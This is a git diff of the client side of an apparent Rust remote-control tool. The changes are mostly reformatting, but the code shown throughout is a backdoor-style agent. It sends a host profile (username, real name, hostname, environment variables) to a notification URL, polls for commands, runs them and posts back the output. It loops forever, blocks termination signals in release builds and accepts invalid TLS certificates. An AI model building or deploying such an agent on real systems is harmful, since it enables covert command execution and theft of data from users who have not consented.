diff options
Diffstat (limited to 'src/client')
| -rw-r--r-- | src/client/client.rs | 33 | ||||
| -rw-r--r-- | src/client/connector.rs | 40 | ||||
| -rw-r--r-- | src/client/connector/httpconnector.rs | 92 | ||||
| -rw-r--r-- | src/client/executor.rs | 19 | ||||
| -rw-r--r-- | src/client/main.rs | 76 |
5 files changed, 197 insertions, 63 deletions
diff --git a/src/client/client.rs b/src/client/client.rs index 9080cf1..780d586 100644 --- a/src/client/client.rs +++ b/src/client/client.rs @@ -24,7 +24,28 @@ Username: {} Real Name: {} Languages: {:?} Environment Variables: {:?}"#, - self.inner.ip, self.inner.hostname, self.inner.device_name, self.inner.os, self.inner.cpu_arch, self.inner.distro, self.inner.desktop_env, self.inner.username, self.inner.realname, self.inner.langs, self.inner.env + self.inner + .ip, + self.inner + .hostname, + self.inner + .device_name, + self.inner + .os, + self.inner + .cpu_arch, + self.inner + .distro, + self.inner + .desktop_env, + self.inner + .username, + self.inner + .realname, + self.inner + .langs, + self.inner + .env ) } } @@ -34,7 +55,9 @@ impl<'a, C: Connection> Client<'a, C> { let c = Self { inner: remote_control_rs::client::Client { ip: connector.get_ip(), - hostname: gethostname().into_string().unwrap_or_default(), + hostname: gethostname() + .into_string() + .unwrap_or_default(), device_name: whoami::devicename(), os: std::env::consts::OS, cpu_arch: std::env::consts::ARCH, @@ -50,14 +73,16 @@ impl<'a, C: Connection> Client<'a, C> { }, connector, }; - c.connector.init(&c)?; + c.connector + .init(&c)?; Ok(c) } pub fn enter_loop(mut self) -> ! { loop { sleep(Duration::from_millis(500)); - self.connector.tick(); + self.connector + .tick(); } } } diff --git a/src/client/connector.rs b/src/client/connector.rs index d977ace..25f8b5c 100644 --- a/src/client/connector.rs +++ b/src/client/connector.rs @@ -27,18 +27,23 @@ pub trait Connection { fn get_ip(&self) -> Option<IpAddr>; fn force_network(&mut self) { - _ = Executor::new(&NETWORK_T, ["true"]); + _ = Executor::new( + &NETWORK_T, + ["true"], + ); } fn init<'a>(&self, c: &Client<'a, Self>) -> std::result::Result<(), Self::Err> where Self: std::marker::Sized, { - self.ntfy(format!( - r#"New client: + self.ntfy( + format!( + r#"New client: {c} "#, - )) + ), + ) } fn reinit(&mut self) { @@ -60,17 +65,38 @@ pub trait Connection { return; } - let mut it = s.as_ref().split_whitespace(); + let mut it = s + .as_ref() + .split_whitespace(); let task = match it.next() { Some(t) => t, None => return, }; // FIXME: handle the errors... peak prod code - self.ntfy(Executor::new(task.try_into().unwrap(), it).unwrap().run().unwrap().clone().unwrap()).unwrap(); + self.ntfy( + Executor::new( + task.try_into() + .unwrap(), + it, + ) + .unwrap() + .run() + .unwrap() + .clone() + .unwrap(), + ) + .unwrap(); } Result::Err(e) => { #[cfg(debug_assertions)] - std::eprintln!("[{}:{}:{}] {} = {:#?}", std::file!(), std::line!(), std::column!(), std::stringify!(e), &&e as &dyn std::fmt::Debug,); + std::eprintln!( + "[{}:{}:{}] {} = {:#?}", + std::file!(), + std::line!(), + std::column!(), + std::stringify!(e), + &&e as &dyn std::fmt::Debug, + ); } } } diff --git a/src/client/connector/httpconnector.rs b/src/client/connector/httpconnector.rs index dbd094c..5973410 100644 --- a/src/client/connector/httpconnector.rs +++ b/src/client/connector/httpconnector.rs @@ -35,23 +35,35 @@ pub struct HTTPConnector { impl HTTPConnector { pub fn new(pull_url: &str, ntfy_url: &str, ip_getter_url: &str) -> result::Result<Self, HTTPConnectorError> { - Ok(Self { - network_enforcer: Executor::new(&NETWORK_T, ["true"]).unwrap(), // .unwrap() should never panic - prev: String::new(), - pull_url: Url::parse(pull_url)?, - ntfy_url: Url::parse(ntfy_url)?, - ip_getter_url: match Url::parse(ip_getter_url) { - Ok(url) => url, - Err(_) => Url::parse((pull_url.to_string() + ip_getter_url).as_str())?, - }, - client: match Client::builder().build() { - Ok(c) => c, - Err(_) => match Client::builder().danger_accept_invalid_certs(true).build() { + Ok( + Self { + network_enforcer: Executor::new( + &NETWORK_T, + ["true"], + ) + .unwrap(), // .unwrap() should never panic + prev: String::new(), + pull_url: Url::parse(pull_url)?, + ntfy_url: Url::parse(ntfy_url)?, + ip_getter_url: match Url::parse(ip_getter_url) { + Ok(url) => url, + Err(_) => Url::parse((pull_url.to_string() + ip_getter_url).as_str())?, + }, + client: match Client::builder().build() { Ok(c) => c, - Err(_) => Client::builder().danger_accept_invalid_certs(true).danger_accept_invalid_hostnames(true).build()?, + Err(_) => match Client::builder() + .danger_accept_invalid_certs(true) + .build() + { + Ok(c) => c, + Err(_) => Client::builder() + .danger_accept_invalid_certs(true) + .danger_accept_invalid_hostnames(true) + .build()?, + }, }, }, - }) + ) } #[allow(clippy::only_used_in_recursion)] @@ -97,11 +109,28 @@ impl Connection for HTTPConnector { // consider StatusCode::NOT_MODIFIED fn update(&self) -> Result<Self::Ok, Self::Err> { - self.handle_response(|| self.client.get(self.pull_url.as_str())) + self.handle_response( + || { + self.client + .get( + self.pull_url + .as_str(), + ) + }, + ) } fn ntfy(&self, data: String) -> std::result::Result<(), Self::Err> { - self.handle_response(|| self.client.post(self.ntfy_url.as_str()).body(data.to_owned()))?; + self.handle_response( + || { + self.client + .post( + self.ntfy_url + .as_str(), + ) + .body(data.to_owned()) + }, + )?; Ok(()) } @@ -115,14 +144,35 @@ impl Connection for HTTPConnector { } fn force_network(&mut self) { - _ = self.network_enforcer.run(); + _ = self + .network_enforcer + .run(); } fn get_ip(&self) -> Option<IpAddr> { - match self.handle_response(|| self.client.get(self.ip_getter_url.as_str())) { - Result::Ok(ip) => Some(ip.parse().ok()?), - Result::Err(_) => match self.handle_response(|| self.client.get("ifconfig.me")) { - Ok(ip) => Some(ip.parse().ok()?), + match self.handle_response( + || { + self.client + .get( + self.ip_getter_url + .as_str(), + ) + }, + ) { + Result::Ok(ip) => Some( + ip.parse() + .ok()?, + ), + Result::Err(_) => match self.handle_response( + || { + self.client + .get("ifconfig.me") + }, + ) { + Ok(ip) => Some( + ip.parse() + .ok()?, + ), Err(_) => None, }, } diff --git a/src/client/executor.rs b/src/client/executor.rs index 26ac0ba..8fef869 100644 --- a/src/client/executor.rs +++ b/src/client/executor.rs @@ -8,11 +8,24 @@ pub struct Executor<'a, 't> { impl<'a, 't> Executor<'a, 't> { pub fn new(task: &'t Task, args: impl IntoIterator<Item = &'a str>) -> Result<Self, IntoTaskErr> { - Ok(Self { task: task, args: args.into_iter().collect(), output: None }) + Ok( + Self { + task: task, + args: args + .into_iter() + .collect(), + output: None, + }, + ) } pub fn run(&mut self) -> Option<&Result<String, String>> { - self.output = Some((self.task.exec)(&self.args)); - self.output.as_ref() + self.output = Some( + (self + .task + .exec)(&self.args), + ); + self.output + .as_ref() } } diff --git a/src/client/main.rs b/src/client/main.rs index be37341..68afaa1 100644 --- a/src/client/main.rs +++ b/src/client/main.rs @@ -1,5 +1,12 @@ -#![allow(incomplete_features, clippy::redundant_field_names)] -#![feature(associated_type_defaults, never_type, lazy_type_alias)] +#![allow( + incomplete_features, + clippy::redundant_field_names +)] +#![feature( + associated_type_defaults, + never_type, + lazy_type_alias +)] use crate::client::Client; use crate::connector::httpconnector::HTTPConnector; @@ -15,34 +22,47 @@ pub(crate) mod executor; fn main() { #[cfg(not(debug_assertions))] { - _ = Signals::new([ - SIGHUP, - SIGINT, - SIGQUIT, - SIGTRAP, - SIGABRT, - SIGPIPE, - SIGALRM, - SIGTERM, - SIGUSR1, - SIGUSR2, - SIGCHLD, - SIGCONT, - SIGTSTP, - SIGTTIN, - SIGTTOU, - SIGURG, - SIGXCPU, - SIGXFSZ, - SIGVTALRM, - SIGPROF, - SIGWINCH, - #[cfg(any(target_os = "linux", target_os = "android"))] - SIGSYS, - ]); // discard err + _ = Signals::new( + [ + SIGHUP, + SIGINT, + SIGQUIT, + SIGTRAP, + SIGABRT, + SIGPIPE, + SIGALRM, + SIGTERM, + SIGUSR1, + SIGUSR2, + SIGCHLD, + SIGCONT, + SIGTSTP, + SIGTTIN, + SIGTTOU, + SIGURG, + SIGXCPU, + SIGXFSZ, + SIGVTALRM, + SIGPROF, + SIGWINCH, + #[cfg( + any( + target_os = "linux", + target_os = "android" + ) + )] + SIGSYS, + ], + ); // discard err } let ip = "http://127.0.0.1:8081"; - let client = Client::new(HTTPConnector::new(ip, ip, "/").unwrap()).unwrap(); + let client = Client::new( + HTTPConnector::new( + ip, ip, "/", + ) + .unwrap(), + ) + .unwrap(); client.enter_loop(); } |
